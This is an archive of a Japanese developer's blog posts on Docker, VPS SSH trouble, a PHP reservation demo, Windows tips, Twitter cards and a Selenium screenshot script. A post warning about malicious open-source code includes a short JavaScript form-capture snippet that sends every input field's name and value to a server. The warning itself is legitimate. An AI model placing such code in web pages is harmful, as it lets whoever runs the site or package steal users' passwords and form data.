dockerでlaravel環境構築したお話。 #hosts

2022.12.08

Logging

おはようございます、今日は早朝に明日の記事を書いています😆。

さて、dockerでlaravel環境構築したお話を書いていきます、Dockerの環境でApacheをインストールし、バーチャルホストを設定してwindows側のhostsも変更しDocker側のhostsも設定、起動確認も取れたので、一旦Dockerを終了し再度立ち上げるとDocker側のhostsが初期値に戻っている🤔。

これDockerの仕様らしいので、下記のようにdocker-compose.ymlを設定(extra_hosts)するか、Docker runでコンテナを立ち上げる場合はパラメーター–add-hostを付与してあげないといけない😳。

version: "3"
services:
  web:
    image: almalinux:latest
    container_name: Apache_v2.4
    ports:
      - 80:80
    privileged: true
    command: /sbin/init
    extra_hosts:
      - "example1.com:127.0.0.1"
      - "example2.com:127.0.0.1"
    volumes:
      - E:\var\www\html:/var/www/html
docker run --add-host=example1.com:127.0.0.1 .....

尚、Docker側のhostsを変更しないまま、立ち上げてもLaravelは動かないと思います。何故、動かないかはここでは割愛させて頂きます🙇。

タグ

--add-host, , almalinux, ap, Apache, container, docker, docker-compose, extra, hosts, image, Laravel, latest, name, quot, run, services, Version, web, Windows, yml, インストール, お話, これ, こんてな, バーチャル, パラメーター, ホスト, 一旦, 下記, 今日, 仕様, 付与, , 再度, 初期, 場合, 変更, 早朝, 明日, 構築, 環境, 確認, 終了, 記事, 設定, 起動,

さくらVPSの仕様なのか、分からないけど。

2022.10.14

Logging

おはようございます、昨日は暖かい陽気でしたね🫠。

さて、昨日ドハマリして数時間、時間を費やしてしまった問題が有りました。結論から言えばOSのバージョンの関係で上手くいかなかった。さくらの中の人(開発者)、OSバージョンアップした際の挙動を確認して無さそうな気がします。

どんなトラブルになったのかと言えば、こんな感じ。

作業用VPSサーバーを設置してWEBのコントロールパネルからssh鍵の設定して作業に取り掛かろうとテラターム(ローカル)でログインした所、エラーが出る。

何度、トライしてもパーミッションが駄目だよと弾かれるので、ウインドウズでユーザーの設定なんかを変更したりしたのだけど駄目だった。

リナックスやMacからだとログインできるだよね、なのでコレはWindowsの問題だと思っていた、パーミッション原因だと思っていたのだけど、前サーバーはssh鍵付きでログイン出来てたので変だなと思い、前サーバーのssh鍵を変更してみたら、こちらはすんなりとログイン出来てしまった。

ここで何が違うかと言えば、OSのバージョンだけ8系と9系の違いでログイン出来なくなる。恐らくこちら側の設定がどうこうではなく、何か・・・の接続時のデータ送受信で変になっている気がします。

この事象をさくらVPSに問い合わせしていないので、原因は分からないだけど恐らくOSのバージョンの違いで今のところ発生している問題だと思います。

タグ

Mac, OS, SSH, VPS, web, Windows, アップ, ウィンドウズ, エラー, コレ, コントロール, サーバー, さくら, ターム, テラ, ドハマリ, トライ, トラブル, バージョン, パーミッション, パネル, ユーザー, リナックス, ローカル, ログイン, , , 仕様, 何度, 作業, 原因, 問題, , 変更, 感じ, , 挙動, , 昨日, 時間, , 確認, 結論, 設定, 設置, , 鍵付き, 開発者, 関係, 陽気, , 駄目,

一週間の予約が出来るデモコードです。良かったらどうぞ😌。 #php #code

2022.09.17

Logging

おはようございます、今日から台風接近らしいですね。この投稿は昨日書きました。

さて、一週間の予約(時刻表から)が出来るデモコードを書きました。これを書いたキッカケは昔の職場の方がこんな感じのUIを作られていたのを見て、自分も書いてみようと思いDEMOコードを朝起きて調べながら書きました。調べたことは選択を解除する方法だけで、後はオリジナルコードです、設計書も何もなく組み立ていきましたので、欠陥があるかもです。また、Qiitaにも記載しましたが、コメントをほぼ書いていません。書かずともプログラマーなら分かるだろうという感覚です。

予約ー時刻表DEMO

肝心の確認部分は記載していないのにも訳があります。営業妨害になっては駄目だからです。そういう理由で確認部分以降は書いていません。

こちらにもソースコードを掲載しときますね。

<?php
ini_set("display_errors",0);
/**
 * @param array $holiday
 * @return string $str
 */
function fn_header($holiday = [])
{
    $str = "";
    $date = new DateTime();
    for ($i = 0; $i < 7; $i++) {
        !$i ? "" : $date->modify('+1 day');
        $w = $date->format("w");
        $tabindex = $i*7;
        $ho = (function ($days, $holiday = []) {
            return (array_search($days, $holiday) !== false) ? "holiday" : "";
        })($date->format("Y-m-d"), $holiday);
        $str .= "
        <th tabindex=$tabindex>
            <span class='header_no week_no_$w $ho'>" . $date->format("Y-m-d") . "</span>
        </th>";
    }
    return $str;
}
/**
 * @param int $h_min
 * @param int $h_max
 * @param int $m_interval
 * @param array $cnt
 * @param array $reserve
 * @param array $holiday
 * @return string $str
 */
function fn_time($h_min, $h_max, $m_interval,$cnt=[],$holiday = [], $reserve = [])
{
    $str= [];
    for ($h = $h_min; $h <= $h_max; $h++) {
        for ($m = 0; $m < 60; $m = $m + $m_interval) {
            print("<tr>\n");
            $date = new DateTime();
            for ($i = 0; $i < 7; $i++) {
                $cnt[$i]=!$cnt[$i]?(((($h_max - $h_min)+1)*(60/$m_interval))*($i))+7:(++$cnt[$i]);
                !$i ? "" : $date->modify('+1 day');
                $w = $date->format("w");
                $ho = (function ($days, $holiday = []) {
                    return (array_search($days, $holiday) !== false) ? "holiday" : "";
                })($date->format("Y-m-d"), $holiday);
                $time = sprintf("%02d:%02d",$h, $m);
                if ($ho) {
                    print("
                        <td class='' tabindex={$cnt[$i]}>
                            <span class='header_no week_no_$w $ho'>" . $time . "</span>
                        </td>");
                } else {
                    $r = (function ($days, $reserve = []) {
                        return (array_search($days, $reserve) !== false) ? "reserve" : "";
                    })($date->format("Y-m-d") . "_" . $time, $reserve);
                    if (!$r) {
                        print("
                            <td class='date_" . $date->format("Y-m-d") . "_{$time}' tabindex={$cnt[$i]} data-date='" . $date->format("Y-m-d") . "_{$time}'>
                                <a class='time_{$m}_" . $date->format("Y-m-d") . "_{$time}' data-sortno={$cnt[$i]}  href='#?data=" . $date->format("Y-m-d") . "_{$time}'><span class='header_no week_no_{$w} {$h}'>{$time}</span></a>
                            </td>");
                    } else {
                        print("
                            <td class='' tabindex={$cnt[$i]}>
                                <span class='header_no week_no_$w $r'>" . $time . "</span>
                            </td>");
                    }
                }
            }
            $date = null;
            print("</tr>\n");
        }
    }
    return "";
}
?>
<!DOCTYPE html>
<html lang="ja">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <meta name="Description" content="Enter your description here" />
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/5.1.0/css/bootstrap.min.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css">
    <title>予約-時刻表(デモ版)</title>
    <style>
        table,tr,td{
            user-select: none;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="row">
            <div class="col-12 text-center">
                <h1 class="display-1">予約-時刻表<br></h1>
                <h5>{予約:時刻をクリックするか、<br>
                    左クリック選択状態で複数選択可能です<br>
                    (日付またぎは禁止しています)}</h5>
                <h5>{ダブルクリックすると予約画面に遷移します。<br>
                    ※DEMO版ですので予約登録画面は御座いません}</h5>
            </div>
        </div>
    </div>
    <div class="container-fluid  text-center">
        <div class="row">
            <div class="col-12">
                <table class="shadow-lg table table-hover table-bordered">
                    <thead>
                        <tr>
                            <?= fn_header() ?>
                        </tr>
                    </thead>
                    <tbody>
                        <?=fn_time(10, 20, 10,[],["2022-09-18","2022-09-23"],["2022-09-19_10:40","2022-09-19_10:50"]) ?>
                    </tbody>
                </table>
            </div>
        </div>
    </div>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/2.9.2/umd/popper.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/5.1.0/js/bootstrap.min.js"></script>
    <script src="./assets/js/main.js?<?=time()?>"></script>
</body>
</html>
let date_obj = document.querySelectorAll("td");
let submit_url = "https://example.com";
let is_date_data = [];
let cnt = 0;

date_obj.forEach(function (elm, key) {
    elm.addEventListener("mouseout", select_in_value);
    elm.addEventListener("click", sp_select_in_value);
    elm.addEventListener("touchend", sp_select_in_value);
    elm.addEventListener("dblclick", select_out_value);
});
function check_value(o, e) {
    if (is_date_data.length === 0) {
        return true;
    }
    let d = o.getAttribute("data-date");
    return d ? ((d) => {
        let f = is_date_data.find(element => {
            let pattern = new RegExp(d.split("_")[0]);
            return !element.match(pattern);
        }) ? false : true;
        if (!f) {
            select_clear(o, e);
            is_date_data = [];
            cnt = 0;
        }
        return f;
    })(d) : false;
}
function select_in_value(e) {
    if (e.buttons === 1 && check_value(this, e)) {
        if (this.getAttribute("data-date")) {
            this.style.backgroundColor = "#555";
            this.children[0].style.color = "#fff";
            if (is_date_data.indexOf(this.getAttribute("data-date")) && is_date_data.indexOf(this.getAttribute("data-date"))) {
                is_date_data[cnt] = this.getAttribute("data-date");
                cnt++;
            }
        }
    }
}
function sp_select_in_value(e) {
    if (check_value(this, e)) {
        if (this.getAttribute("data-date")) {
            this.style.backgroundColor = "#555";
            this.children[0].style.color = "#fff";
            if (is_date_data.indexOf(this.getAttribute("data-date")) && is_date_data.indexOf(this.getAttribute("data-date"))) {
                is_date_data[cnt] = this.getAttribute("data-date");
                cnt++;
            }
        }
    }
}
function select_out_value(e) {
    if (is_date_data.length) {
        let is_data = is_date_data.map(function (elm, index) {
            return "date[" + index + "]=" + elm;
        });
        window.location.href = submit_url + "?" + is_data.join("&");
    }
}
function select_clear(o, e) {
    let is_ClassName = [];
    is_ClassName = is_date_data.map(function (d) {
        return "date_" + d;
    });
    is_ClassName.map(class_name => {
        document.getElementsByClassName(class_name)[0].style.backgroundColor = "#fff";
        document.getElementsByClassName(class_name)[0].children[0].style.color = "#0d6efd";
    })
}

タグ

0, Code, com, demo, https, ligaLgY-uZ, php, qiita, UI, watch, www, youtube, オリジナル, キッカケ, コード, こちら, こと, コメント, これ, ソース, デモ, プログラマー, , 予約, 今日, 台風, 営業, 妨害, , 感じ, 感覚, 投稿, 接近, 掲載, , 方法, , 昨日, 時刻表, , 欠陥, 理由, 確認, 職場, 肝心, 自分, 解除, 記載, 設計書, , 選択, 部分, 駄目,

わらわらわら(www)をのけました。キャッシュこワい🙄

2022.08.23

Logging

こんにちは、今日は朝少しサーバーをイジって朝食後、外出しておりました。

まだ、不安定ですがwwwを除けてzip358.comに戻しました。除けた理由は気まぐれです、DNSのキャッシュが意地悪していて切り替えに時間を費やしてしまいましたが、一応無事に変更した形になります。

これが仕事だったら嫌だなって感じます、数ヶ月使用しているとキャッシュがDNSサーバーに蓄積されているので、その切替は各サーバー頼み。特に大企業じゃない限りDNSサーバーのキャッシュを削除してくれないでしょうね。

WEBサイトやWEBアプリを扱っている企業の担当者にとってサイト移行は胃が痛む仕事かと思います。お客様には見えないと言われたり上司からは早く見えるようにしてとか言われたりする場合もありますからね。因みに自分は徐々に移行する方法でサイト移行を済ませます。まずはDBを移行し、その後、ファイルなどを移行しホストを変えてみて上手く動作しているか確認後、IPアドレスを変更するという形です。

尚、メールサーバは大体、以前のサーバーを使用して頂けるならそうして貰います。

零細企業の場合、インフラからバックエンド、フロント全てに関わることもあるので良い経験になります。良い経験ですが大変です、言うがやすし行うは難しです。

タグ

358, com, db, DNS, web, www, zip, アプリ, いし, お客様, キャッシュ, これ, サーバー, サイト, ファイル, ホスト, , ワラ, 上司, 不安定, 今日, 仕事, 企業, 使用, 削除, 動作, 場合, 変更, 外出, 少し, , , 意地悪, 担当者, , 方法, 時間, , 朝食, 気まぐれ, 無事, 理由, 確認, 移行, , 自分, 蓄積, 限り,

最高権限でも削除できないファイルが有る?

2022.08.18

Logging

おはようございます。今日は生憎の雨☔ですね。

さて、先日の事ですがBluetoothが使用できなくなって悪戦苦闘のすえ、何とか復旧した話を記載します。最初はWindowsの設定画面にBluetoothがオフになっていますという文言が表示されていました。差し込んでいるのにも関わらず、このような文言が表示されていたのでデバイスマネージャーで確認するとなにやらエラーが出ていてデバイスが強制終了している模様でした。

ドライバーを削除して再度入れ直したら、上手く動作するだろうと思っていたのですが何度繰り返しても全然駄目。そんな回復しない状態が1時間続きました。これでは埒が明かないので考えを切り替えドライバーの原因ではなく、恐らくWindows側の問題だと思いレジストリを調べました。

これが結果的に正解でした。途中レジストリが削除出来ない問題などに直面しながら最終的に使用できるようになったのです。ここで一つ勉強になったのがアドミニストレータでも削除が出来ないレジストリがあるという事です。恐らくセキュリティの観点からマイクロソフトがそういう設定をしているのだと思いますが、これが結構厄介だなと感じました。

因みにWindows10、11はバグがありブルートゥースと接続した機器が削除出来ないという不具合があるのです。今回、それが間接的に悪さをしていたのですが直接原因はオフとオンのフラグが反転していたのが問題でそちらを修正して再起動をかけると認識したという結果になります。

今回の事象は特殊なので対応はご自身でググりながら解決をお願い致します。尚、レジストリを変更したり削除したりするとWindowsが動かなくなる恐れがあるので、素人にはオススメしません。

タグ

, bluetooth, Windows, アドミ, エラー, オブ, ここ, これ, デバイス, ドライバー, ファイル, マネージャー, レジストリ, 一つ, , 今日, 何度, 使用, , 先日, 再度, 削除, 勉強, 動作, 原因, 問題, 回復, , 強制, 復旧, 悪戦苦闘, 文言, 最初, 最高, 模様, 権限, 正解, 状態, 生憎, 画面, 直面, 確認, 終了, 表示, 記載, 設定, , 途中, , 駄目,

明日からのためにデスク周りを整理しました。DIYみたいな事を…。

2022.07.15

Logging

おはようございます。あっという間にこの日が・・・来ました。今後の事とかは明日、記事にします。

さて「明日からのためにデスク周りを整理しました」というタイトル通り、デスク周りのごちゃごちゃしていた部分をDIYして机の下に収納しました。この記事は予約投稿ですので正確には月曜日時点でデスク周りは綺麗に片付いている状態になっていると思います。

まず、使わなくなった携帯電話をWEBの動作確認用に使っているのですが、雑然と机の上に置いていたものを後付の机引き出し(収納)を購入しその中に入れるようにしました。その他、ipad proと旧型iPhone、メモ用の方眼紙、英単語帳も収納に入れています

@zip358com

次に動画にも写り込んでいると思いますが、机の上にコンセントを置いていたのですが、こちらも収納入れを購入し机の下に取り付けた形になります。

また、収納とは関係ないのですがDisplayPortを購入し全てのディスプレイをビデオボードに接続し出力出来るようにしました。今までマルチポートしてオンボードに刺していたのですが、イラストレーターなどの力を最大限に活かしたい場合はマルチポート設定はOFFにした方が良いとあるサイトに記載してあったので、そのように変更しています。

今回のDIYの費用は5000円程度になりますが、良くなった感じがします(自己満足ですけどね😆)。

尚、整理したデスク周りは近日中にこの記事に追加します。

追伸:収納引き出しを購入したのですが、ipadや方眼紙が入らなかったので机の上に置いた状態になってます。そしていつも使用するものは手元にある方が効率が良い・・・。

タグ

DisplayPort, DIY, iPad, iPhone, Pro, web, あっという間, こちら, コンセント, その他, タイトル, ため, , デスク, メモ, もの, , , , 予約, , 今後, 全て, 動作, 動画, 収納, 周り, , 引き出し, , 後付, 投稿, 携帯, 整理, 方眼紙, , 旧型, 明日, 時点, 月曜日, , 正確, 状態, 確認, 綺麗, 英単語, 記事, 購入, 部分, 電話,

覚えとくと良いChromeの小技?大技!?

2022.07.06

Logging

おはようございます。お腹すきすぎて目が覚めました・・・。

今日はChromeブラウザの小技を紹介していきます。まずお使いのChromeのバージョンを知りたい場合、アドレスバーに下記のように入力するとバージョンが確認できます。わざわざ、ヘルプから見ないでも詳細な情報が見れます。

chrome://version/

次にChromeタブを閉じずに再起動したいなど、そういう事がある方は下記のURLsをアドレスバーに入力してみてください。すぐに再起動がかかります、また再起動後、タブは保持されたままです。

chrome://restart/

その他、いろいろな機能があります、どんな機能があるのか知りたい場合は下記の情報を入力してみてください。

chrome://chrome-urls/

タグ

Chrome, chrome-urls, restart, URLs, Version, アドレス, いろいろ, お使い, お腹, その他, タブ, バー, バージョン, ブラウザ, ヘルプ, まま, わざわざ, 下記, , 今日, 保持, 入力, 再起動, 場合, 大技, 小技, 情報, , 機能, , , 確認, 紹介, 詳細,

退職日まで日数を求める・JSでカウントダウンコードを構築してみた😆

2022.07.02

Logging

おはようございます。ちょっと退職後の事を思うと不安が過りますが、何とかなる何とかします😆。

さて、退職日まで後何日あるかを確認出来る物を作りました、土日はカウントしない場合も考慮しています。このコードは人様のコードを拝借して再構築したものになります。

参考にしたサイトはこちらです。土曜日、日曜日は除くように新たに無名関数を入れ込んでいます。土日はカウントせず月曜日のカウントになります。JavaScriptのコードは下記になります。HTMLコードに敢えて記載しません、ご自由に書き換えて試してくださいませ。

var showDiffDate = function( tYear, tMonth, tDay) {
    var nowDate = new Date();
    var dnumNow = nowDate.getTime();
    var targetDate = new Date( tYear, tMonth-1, tDay );
    var dnumTarget = targetDate.getTime();

    var diffMSec = dnumTarget - dnumNow;
    var diffDays = diffMSec / ( 1000 * 60 * 60 * 24 );
    var showDays = Math.ceil( diffDays ); 
    var Msg;
    if( showDays >= 0 ) {
       Msg = "" + showDays + " days(" + function(){
         var is_days = parseInt(parseInt(showDays) - Math.floor(showDays / 7) * 2);
         is_days = (nowDate.getDay() === 0)?is_days -2:is_days;
         is_days = (nowDate.getDay() === 6)?is_days -3:is_days;
         return is_days;
       }() +")";
    }
    else {
       Msg = "" + (showDays * -1) + "";
    }
    return Msg;
 };

 document.getElementById("days").innerText = showDiffDate(2022,7,15);

尚、このコードはそれほど難しいことはなく難易度で言えば最も簡単なコードだと思います。

タグ

date, dnumNow, function, getTime, html, javascript, JS, new, nowDate, showDiffDate, targetDate, tDay, tMonth, tY, tYear, var, カウント, カウントダウン, コード, こちら, サイト, もの, 下記, 不安, , 人様, 何日, 参考, 土日, 土曜日, 場合, , 拝借, 日数, 日曜日, 月曜日, 構築, 無名, , 確認, 考慮, 記載, 退職, 関数,

Windows10~起動時にアプリ(ソフト)を自動起動させる方法です。

2022.06.23

Logging

おはようございます。隠しフォルダーが見える環境です。

さて、今日のお題はITエンジニアなら朝飯前のことだと思います。「Windows10~起動時にアプリ(ソフト)を自動起動させる方法です。」知らなかったら恐らくとても運の良いITエンジニアかと思います。方法を箇条書で記載しますねーーー😌。

  1. 隠しフォルダが表示できるようにエクスプローラーの設定を変更します(ググって)。
  2. 下記のフォルダ場所まで移動します(ユーザー名はご自身の環境によって違います)。
  3. 移動したフォルダにご自身が自動起動したいアプリのショートカットリンクファイルをコピペ(コピーアンドペースト)します。
  4. 再起動してみてアプリが自動起動している事を確認する。
C:\Users\ユーザー名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

職場のPCが変わったりした時は必ず最初にやっていた作業になります。これをすることで出社しPC立ち上げ後、アプリの立ち上げなどは全くしなくて良くなります。因みにショートカットリンクにパラメーターを与えてあげることで、もっと短縮できる可能性があります。そこは割愛します。

タグ

10, AppData, IT, menu, microsoft, PC, Programs, Roaming, start, Startup, users, Windows, アプリ, アンド, エクスプローラー, エンジニア, こと, コピー, コピペ, ご自身, ショートカット, ソフト, ファイル, フォルダ, フォルダー, ペースト, ユーザー, リンク, 下記, , 今日, 再起動, 場所, 変更, 方法, , 朝飯, 環境, 確認, 移動, 箇条書, 職場, 自動, 表示, 記載, 設定, 起動, , ,

悪意になるコードそうだよねぇ~オープンソース怖い。

2022.06.01

Logging

おはようございます。6月が始まりました。

今日のお題は「悪意になるコードそうだよねぇ~オープンソース怖い。」です。

【ハッキング入門】キーロギングの仕組み IDとパスワードの取得方法【悪用厳禁】

こう思ったのは結構前からなのですが、今回、コードマフィアさんのYOUTUBE動画を見て再確認にした次第です。因みにこのソースコードが動くかどうかは知りません。

コードマフィアさんもお話されている通り、公式サイトで公開されているアプリ以外は注意が必要です、例えば無料配布サイトやgithubなどに置いてあるコードを実装するとかは、信頼性のないものは自らコードチェックを行わないと悪意のコードが入っていたという事もあるので・・・。

気をつけてくださいな😎

(function(){
    const doc = document.querySelectorAll("input");
    doc.forEach((e,k,p)=>{
        p[k].addEventListener("blur",(e)=>{
            var data = {};
            data["name"] = e.target.name;
            data["value"] = e.target.value;
            send1(data);
        });
    });
})();

function send1(data){
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "/?${data.name}=${data.value}", true);
    xhr.onload = function (e) {
      if (xhr.readyState === 4) {
        if (xhr.status === 200) {
          console.log(xhr.responseText);
        } else {
          console.error(xhr.statusText);
        }
      }
    };
    xhr.onerror = function (e) {
      console.error(xhr.statusText);
    };
    xhr.send(null);     
}
その発想ない事もない。

タグ

6, const, doc, document, foreach, function, github, gt, input, querySelectorAll, quot, youtube, アプリ, オープン, お話, コード, サイト, ソース, チェック, マフィア, もの, , 今回, 今日, 信頼性, 公式, 公開, , 動画, 実装, 必要, 悪意, 次第, , 注意, 無料, 確認, 自ら, 通り, 配布, ,

コード書き初め、そろそろネタが尽きてきたよ「始め」!?

2022.01.03

Logging

コード書き初めは何が良いのかなぁなどと考えておりましたが、やはりこれかなっていう事で文字のグラデーションを徐々に変えてい行くものを作ってみました。IEとかでは動きませんが、最新のChromeやFirefox、エッジなどでは動くかなと思います。ソースコードを写景してみて、コードの動きがわかればソースコードを変更していろいろと試してみてください。

Rewind 2021 – the Love of the Code

動作はこちらから確認くださいませ。

https://zip358.com/tool/demo51/

尚、このコードは2021年の12月28日に書いたものになります。

<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<meta name="Description" content="Enter your description here"/>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.6.0/css/bootstrap.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css">
<title>Happy New Year 2022</title>
<style>
    body{
        background-color: black;
    }
    #HNY{
        font-weight: bold;
        font-size: 222px;
    }
</style>
</head>
<body>
    <h1 id='HNY'>Happy New Year 2022</h1>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.slim.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.1/umd/popper.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.6.0/js/bootstrap.min.js"></script>
<script>
    let color1 =["40","E0","D0"];
    let color2 =["FF","8C","00"];
    let color3 =["FF","00","80"];
    let postion =[2,0,1];
    setInterval(() => {
        if((parseInt(color1[postion[0]],16) + 1)<255){
            color1[postion[0]] = (parseInt(color1[postion[0]],16) + 1).toString(16);
        }else{
            color1[postion[0]] = (100).toString(16);
            postion[0]--;
        }
        if((parseInt(color2[postion[1]],16) + 1)<255){
            color2[postion[1]] = (parseInt(color2[postion[1]],16) + 1).toString(16);
        }else{
            color2[postion[1]] = (50).toString(16);
            postion[1]--;
        }
        if((parseInt(color3[postion[2]],16) + 1)<255){
            color3[postion[2]] = (parseInt(color3[postion[2]],16) + 1).toString(16);
        }else{
            color3[postion[2]] = (80).toString(16);
            postion[2]--;
        }
        
        for(key in postion){
            if(postion[key]<=-1){
                postion[key] = 2;
            }
        }
        //console.log(`#${color1.join("")}, #${color2.join("")}, #${color3.join("")}`);
        document.getElementById('HNY').style = `
        color: #FF8C00;
  background: -webkit-linear-gradient(0deg, #${color1.join("")}, #${color2.join("")}, #${color3.join("")});
  -webkit-background-clip: text;
  -webkit-text-fill-color: transparent;
        `;    
    }, 70);
</script>
</body>
</html>

タグ

12, 2021, 28, 8, cGLonkCQ, charset, Chrome, com, D-, DOCTYPE, Firefox, gt, head, html, https, IE, ja, lang, lt, meta, name, quot, UTF-, viewport, watch, www, youtube, いろいろ, エッジ, グラデーション, コード, こちら, これ, ソース, ネタ, もの, , , , 動作, 変更, 文字, , 書き初め, 最新, 確認,

twitterのアナリティクスが不具合続く。数日の前の話で進行形。

2021.11.25

Logging

何だか急に寒くなりましたね。寒くなると蚊が発生しないのでそこだけは良いことかなと思っています。

さて数日の前からtwitterのアナリティクスが不具合続いています。リアルタイム(本日だけ)のインプレッション数などの表示が0(ゼロ)になっています。これ実は不具合じゃなくて仕様かと思ってしまうぐらい不具合が続いています。過去のインプレッション数は見れるですけど、リアルタイムに見れないのは結構痛いなと思います。

因みにYahoo!のリアルタイム検索で調べると同じような不具合の人が呟いているので、おそらく不具合かと思いますが公式サイトから何かアナウンスが出ているのかは未確認、もしこれが不具合じゃなくて有料会員と無料との差別化にする前段階の対応とかだったら嫌ですね。

トイウコトデ、現場からでした。

タグ

0, Twitter, Yahoo, アナウンス, アナリティクス, インプレッション, こと, これ, サイト, ゼロ, そこ, トイウコトデ, リアルタイム, 不具合, , 仕様, 会員, 公式, , 前段階, 対応, 差別化, 数日, 有料, 本日, 検索, 無料, 現場, 発生, 確認, , 表示, , 進行形, 過去,

Twitterカードを確認するための公式チェックページが便利。

2021.10.26

Logging

先週は寒かったですが、今週からまた暖かくなると天気予報のキャスターが言っていたそうですが、どうなることやら。

Twitterカードを確認するための公式チェックページが便利です。そもそもTwitterカードって何と思った方もいると思いますので、簡単に説明するとTwitterでシェアする時にホームページ画面の画像やホームページの説明が表示されるアレです。因みにTwitterカードの設定をしていないとURLだけがタイムラインに流れていきます。

どうやればTwitterカードが設定することが出来るか?答えは結構かんたんです、HTMLタグのヘッダー部分に下記のmetaダグを記載してあげることでTwitterカードが表示されます。因みに今回はフェイスブックでシェアした時にも対応した形のソースコードです。フェイスブックの部分は良いよという方は、その部分は除いてください、また、ご自身のURLや表示したい説明に変更するようにしてくださいな。

<meta property="og:url" content="https://zip358.com/tool/tenji/">
<meta property="og:type" content="website">
<meta property="og:description" content="日本語を点字に変換します。α版です(日本語、英数字などを含むものを日本語点字に変換します)。">
<meta property="og:image:alt" content="tenji-image">
<meta property="og:image" content="https://zip358.com/tool/tenji/images/web-image.png">
<meta property="og:locale" content="ja">
<meta property="og:site_name" content="日本語を点字に変換する機械">
<meta name="twitter:card" content="summary_large_image" />
<meta name="twitter:site" content="@zip358com" />
<meta name="twitter:domain" content="zip358.com" />
<meta name="twitter:title" content="日本語を点字に変換します。α版です(日本語、英数字などを含むものを日本語点字に変換します)。" />
<meta name="twitter:creator" content="@zip358com" />
<meta name="twitter:image" content="https://zip358.com/tool/tenji/images/web-image.png" /> 

最後に上記の設定した後、上手くTwitterカードが機能しているかを確認するためのTwitter公式のチェックページがあります、そちらにチェックしたいページのURLを記入することによりチェックが可能です。

https://cards-dev.twitter.com/validator

タグ

html, meta, Twitter, url, アレ, カード, かんたん, キャスター, コード, こと, ご自身, シェア, ソース, タイムライン, タグ, ため, チェック, フェイスブック, ページ, ヘッダー, ホームページ, 下記, 予報, 今回, 今週, 便利, 先週, 公式, 変更, 天気, 対応, , , , 画像, 画面, 確認, 答え, 簡単, 表示, 記載, 設定, 説明, 部分,

simロックの外し方 以前auだった人へ送る。無料でsimロック解除出来るよ。

2021.09.22

Logging

昨日は中秋の名月だったみたいですね、そんな中、自分はsimロック解除と戦っていました。ぐぐると何やらsimロック解除は無理だとか、有料で解除が出来る。au店頭に行けば解除が可能だけど3000円、費用がかかる。はたまたsimロック解除用のsimがあるのでそれを買いなさいみたいな。そんな情報までありましたが・・・。

無料で出来る方法はないものなのかとググりまくって、ようやく「すまほん」さんのサイトの記事にsimロック解除の方法が記載されていたのを発見しました?。

https://smhn.info/202004-how-to-unlocking-au-simlock

simロック解除にはau IDが必要になるですけど、メールアドレスがあれば誰でもau IDは発行できるみたいですね。なのでau IDを発行後、auのSIM解除のページで解除申請をします。そうすると申請確認メールが届くのでそこに記載されているURLにアクセスします。するとsimロックが解除されます。解除されるとiPhoneの設定画面の情報のsim表記がsimロックなしと表示されます。

尚、simロック解除する場合、すべての手順をスマホ端末で出来るようにしておくと簡単にsimロック解除が出来ます。あと自分はsimロック解除完了という表記が出たあと、iPhoneの電源を落としてsimを挿し再度、起動させました。

トイウコトデ、現場からは以上です?。

タグ

-how-to-unlocking-au-simlock, 202004, 3000, au, https, ID, info, SIM, smhn, アドレス, サイト, すまほん, そこ, それ, ページ, メール, もの, ロック, , 中秋, , 以前, 可能, 名月, 店頭, 必要, 情報, 方法, 昨日, 有料, 無料, 申請, 発行, 発見, 確認, 自分, 解除, 記事, 記載, , 費用,

Twitterプロフィールからスパムみたいなアカウントかを機械学習で判定してみた。

2021.06.28

Logging

Twitterプロフィールからスパムみたいなアカウントかを機械学習で判定してみました。

機械学習にしてもらう①。

何故、このような事を考えたかはスパムみたいなアカウントってぱっと見で人は区別できるよねって思ったのでLobeというソフトを使って画像解析(機械学習)してモデルをエクスポートし、そのモデルをテンソルフローで使用して動作確認してみました。

機械学習にしてもらう②

結果は、まぁまぁの精度だったのでモデルをお裾分けしますね。因みにTwitterのプロフィール画像のスクリーンショットを行った時のソースコードも提供します。

尚、機械学習に使用したプロフィール画像は400枚ほど(少ない?)です、ok-image(一般人)とng-image(スパムみたいなアカウント)というラベルを付けて学習させてます。

model::https://zip358.com/ai-model/tw-profile/saved_model.pb (?モデルの中身はtensorboardでご確認を!)

zip358com
zip358
# Generated by Selenium IDE
import time
from selenium import webdriver
from webdriver_manager.chrome import ChromeDriverManager

from selenium.webdriver.common.by import By
from selenium.webdriver.common.action_chains import ActionChains
from selenium.webdriver.support import expected_conditions
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
from selenium.webdriver.support.ui import Select

class twss():
	def setup_method(self):
		self.driver = webdriver.Chrome(ChromeDriverManager().install())
		self.vars = {}

	def teardown_method(self):
		self.driver.quit()

	def screenshots(self):
		self.driver.get("https://twitter.com/")
		self.driver.set_window_size(945, 900)
		with open('twname.dat','r',encoding="utf-8") as f:
			for line in f:
				FILENAME = "X:\\var\\www\\html\\labo_ai\\twss\\image\\screen_" + line.replace('\n', '') +".png"
				self.driver.get("https://twitter.com/" + line.replace('\n', ''))
				time.sleep(2)
				self.driver.save_screenshot(FILENAME)
		f.close()
		self.driver.quit()
twss = twss()
twss.setup_method()
twss.screenshots()

タグ

